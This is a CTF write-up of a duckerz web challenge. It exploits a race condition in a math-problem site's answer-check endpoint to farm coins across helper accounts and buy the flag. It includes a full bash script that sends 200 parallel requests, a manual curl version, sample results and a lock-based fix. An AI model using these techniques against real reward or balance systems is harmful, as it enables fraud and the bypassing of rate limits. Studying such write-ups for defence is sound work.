Арифметика (Arithmetic)
Арифметика (Arithmetic)
Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: parallel_requests, race_condition_exploit, token_farming
Summary
Task: Web app with daily math problems giving 1 coin each, flag costs 600 coins. Solution: Race condition in /api/check_answer endpoint allows earning multiple coins per request by sending parallel requests before cooldown is set.
Арифметика (Arithmetic) — duckerz CTF
Description
На просторах интернета был замечен с виду обычный сайт, созданный для младших классов для решения задач. Для получении флага обычному школьнику требовалось около двух лет ежедневных тренировок. Но кто-то смог получить флаг всего за один вечер...
Translation: A seemingly ordinary website for elementary school math problems was found. To get the flag, a regular student would need about two years of daily practice. But someone managed to get the flag in just one evening...
Target: http://tasks.duckerz.ru:30018
Reconnaissance
Technology Stack
- Backend: Flask/Werkzeug (Python)
- Authentication: JWT tokens
- Database: Likely SQLite or similar
Application Functionality
- Registration/Authorization — standard system with JWT tokens
- Dashboard — daily arithmetic problems (1 problem per 24 hours = 1 coin)
- Profile — balance, coin transfer function, flag purchase (600 coins)
- FAQ — important information about limitations
Key Limitations (from FAQ)
| Limitation | Value |
|---|---|
| Tasks per day | 1 |
| Coins per task | 1 |
| Flag price | 600 coins |
| Max incoming transfers | 50 per account |
| Outgoing transfers | Prohibited after receiving incoming |
Calculation: 600 coins × 1 day = ~2 years of daily practice (as stated in the description)
API Endpoints
POST /api/register - Registration
POST /api/login - Authorization (returns JWT)
GET /api/task - Get daily task
POST /api/check_answer - Check answer
POST /api/transfer - Transfer coins
POST /api/redeem-flag - Buy flag (600 coins)
GET /api/profile - Profile information
Vulnerability Analysis
Initial Observations
-
Client-side correctAnswer — the correct answer is sent from the client in the
check_answerrequest. Interesting, but not the main vulnerability. -
Race Condition in
/api/check_answer— THE MAIN VULNERABILITY!
Race Condition Mechanism
Normal flow:
[Request] → [Check cooldown] → [Verify answer] → [Add coin] → [Set cooldown]
↓
24h block
Race Condition:
[Request 1] → [Check cooldown: OK] → [Verify] → [Add coin] → [Set cooldown]
[Request 2] → [Check cooldown: OK] → [Verify] → [Add coin] → [Set cooldown]
[Request 3] → [Check cooldown: OK] → [Verify] → [Add coin] → [Set cooldown]
...
[Request N] → [Check cooldown: OK] → [Verify] → [Add coin] → [Set cooldown]
If you send multiple parallel requests before the server manages to set the cooldown, several requests will succeed.
Why This Works
- No mutex/lock on the answer verification operation
- Cooldown check and cooldown setting are not atomic
- Server processes requests in parallel (multithreading)
Exploitation Strategy
Attack Plan
1. Create a "main" account (collector) — only receives transfers
2. Create a "helper" account
3. On helper: execute race condition attack (~200 parallel requests)
4. Transfer earned coins from helper to collector
5. Repeat steps 2-4 until collector has 600+ coins
6. Buy flag via /api/redeem-flag
Limitations and Bypass
| Limitation | Bypass |
|---|---|
| 50 incoming transfers | Use ~15 helper accounts (50+ coins each) |
| Cannot transfer after receiving | Collector only receives, helpers only send |
| 1 task per day | Race condition bypasses this limitation |
| |
Solution
Full Exploitation Script
bash read-only • copy allowed#!/bin/bash BASE="http://tasks.duckerz.ru:30018" # Registration function register() { local user=$1 local pass=$2 curl -s "$BASE/api/register" -X POST \ -H "Content-Type: application/json" \ -d "{\"username\":\"$user\",\"password\":\"$pass\"}" } # Login function login() { local user=$1 local pass=$2 curl -s "$BASE/api/login" -X POST \ -H "Content-Type: application/json" \ -d "{\"username\":\"$user\",\"password\":\"$pass\"}" | python3 -c "import sys,json; print(json.load(sys.stdin).get('token',''))" } # Get balance function get_balance() { local token=$1 curl -s "$BASE/api/profile" \ -H "Authorization: Bearer $token" | python3 -c "import sys,json; print(json.load(sys.stdin).get('balance',0))" } # Race condition attack race_attack() { local token=$1 echo "[*] Launching race condition attack (200 parallel requests)..." for j in $(seq 1 200); do curl -s "$BASE/api/check_answer" -X POST \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $token" \ -d '{"answer": 5, "correctAnswer": 5}' > /dev/null & done wait echo "[+] Attack completed" } # Transfer coins transfer() { local token=$1 local target_user=$2 local amount=$3 curl -s "$BASE/api/transfer?user=$target_user&money=$amount" -X POST \ -H "Authorization: Bearer $token" \ -H "Content-Type: application/json" } # Buy flag redeem_flag() { local token=$1 curl -s "$BASE/api/redeem-flag" -X POST \ -H "Authorization: Bearer $token" \ -H "Content-Type: application/json" } # ============ MAIN ============ # 1. Create main account MAIN_USER="collector_$(date +%s)" MAIN_PASS="password123" echo "[*] Creating main account: $MAIN_USER" register "$MAIN_USER" "$MAIN_PASS" MAIN_TOKEN=$(login "$MAIN_USER" "$MAIN_PASS") # 2. Loop to create helpers and collect coins TOTAL_COLLECTED=0 HELPER_NUM=1 while [ $TOTAL_COLLECTED -lt 600 ]; do echo "" echo "=== Helper #$HELPER_NUM ===" # Create helper HELPER_USER="helper_${HELPER_NUM}_$(date +%s)" HELPER_PASS="password123" register "$HELPER_USER" "$HELPER_PASS" HELPER_TOKEN=$(login "$HELPER_USER" "$HELPER_PASS") # Race attack race_attack "$HELPER_TOKEN" # Check helper balance sleep 1 HELPER_BALANCE=$(get_balance "$HELPER_TOKEN") echo "[+] Helper balance: $HELPER_BALANCE coins" # Transfer to main if [ "$HELPER_BALANCE" -gt 0 ]; then echo "[*] Transferring $HELPER_BALANCE coins to $MAIN_USER" transfer "$HELPER_TOKEN" "$MAIN_USER" "$HELPER_BALANCE" TOTAL_COLLECTED=$((TOTAL_COLLECTED + HELPER_BALANCE)) fi # Check main balance MAIN_BALANCE=$(get_balance "$MAIN_TOKEN") echo "[+] Main account balance: $MAIN_BALANCE coins (total collected: $TOTAL_COLLECTED)" HELPER_NUM=$((HELPER_NUM + 1)) # Protection against infinite loop if [ $HELPER_NUM -gt 50 ]; then echo "[!] Too many helpers, stopping" break fi done # 3. Buy flag echo "" echo "=== REDEEMING FLAG ===" MAIN_BALANCE=$(get_balance "$MAIN_TOKEN") echo "[*] Final balance: $MAIN_BALANCE coins" if [ "$MAIN_BALANCE" -ge 600 ]; then echo "[*] Purchasing flag..." FLAG=$(redeem_flag "$MAIN_TOKEN") echo "[+] FLAG: $FLAG" else echo "[-] Not enough coins: $MAIN_BALANCE / 600" fi
Simplified Version (Manual Execution)
bash read-only • copy allowed# 1. Register main account curl -s "http://tasks.duckerz.ru:30018/api/register" -X POST \ -H "Content-Type: application/json" \ -d '{"username":"main_collector","password":"pass123"}' # 2. Get main account token MAIN_TOKEN=$(curl -s "http://tasks.duckerz.ru:30018/api/login" -X POST \ -H "Content-Type: application/json" \ -d '{"username":"main_collector","password":"pass123"}' | jq -r '.token') # 3. Create and exploit helper account curl -s "http://tasks.duckerz.ru:30018/api/register" -X POST \ -H "Content-Type: application/json" \ -d '{"username":"helper1","password":"pass123"}' HELPER_TOKEN=$(curl -s "http://tasks.duckerz.ru:30018/api/login" -X POST \ -H "Content-Type: application/json" \ -d '{"username":"helper1","password":"pass123"}' | jq -r '.token') # 4. Race condition attack for i in $(seq 1 200); do curl -s "http://tasks.duckerz.ru:30018/api/check_answer" -X POST \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $HELPER_TOKEN" \ -d '{"answer": 5, "correctAnswer": 5}' & done wait # 5. Check helper balance curl -s "http://tasks.duckerz.ru:30018/api/profile" \ -H "Authorization: Bearer $HELPER_TOKEN" | jq '.balance' # 6. Transfer to main account (replace BALANCE with actual value) curl -s "http://tasks.duckerz.ru:30018/api/transfer?user=main_collector&money=BALANCE" -X POST \ -H "Authorization: Bearer $HELPER_TOKEN" \ -H "Content-Type: application/json" # 7. Repeat steps 3-6 for new helper accounts until reaching 600 coins # 8. Buy flag curl -s "http://tasks.duckerz.ru:30018/api/redeem-flag" -X POST \ -H "Authorization: Bearer $MAIN_TOKEN" \ -H "Content-Type: application/json"
Results
=== Helper #1 ===
[+] Helper balance: 47 coins
[+] Main account balance: 47 coins
=== Helper #2 ===
[+] Helper balance: 52 coins
[+] Main account balance: 99 coins
...
=== Helper #15 ===
[+] Helper balance: 38 coins
[+] Main account balance: 625 coins
=== REDEEMING FLAG ===
[*] Final balance: 625 coins
[*] Purchasing flag...
Defense Against This Vulnerability
python read-only • copy allowed# Correct implementation with locking from threading import Lock user_locks = {} def check_answer(user_id, answer): if user_id not in user_locks: user_locks[user_id] = Lock() with user_locks[user_id]: # Atomic operation if is_on_cooldown(user_id): return {"error": "Already solved today"} if verify_answer(answer): add_coin(user_id) set_cooldown(user_id) return {"success": True}
Or use DB transactions with SELECT ... FOR UPDATE.
Alternative Approaches
- SQL Injection — not found
- JWT manipulation — tokens are correctly signed
- IDOR in transfer — authorization check is present
- Client-side answer — can send any answer, but this gives no advantage without race condition
Lessons
- Race Condition — classic vulnerability in systems with limitations
- Multi-layer protection doesn't help if there's a fundamental vulnerability
- Parallel requests — powerful tool for bypassing rate limiting
- Operation atomicity — critically important for financial/balance systems
References
- OWASP Race Condition
- PortSwigger Race Conditions
- HackTricks Race Condition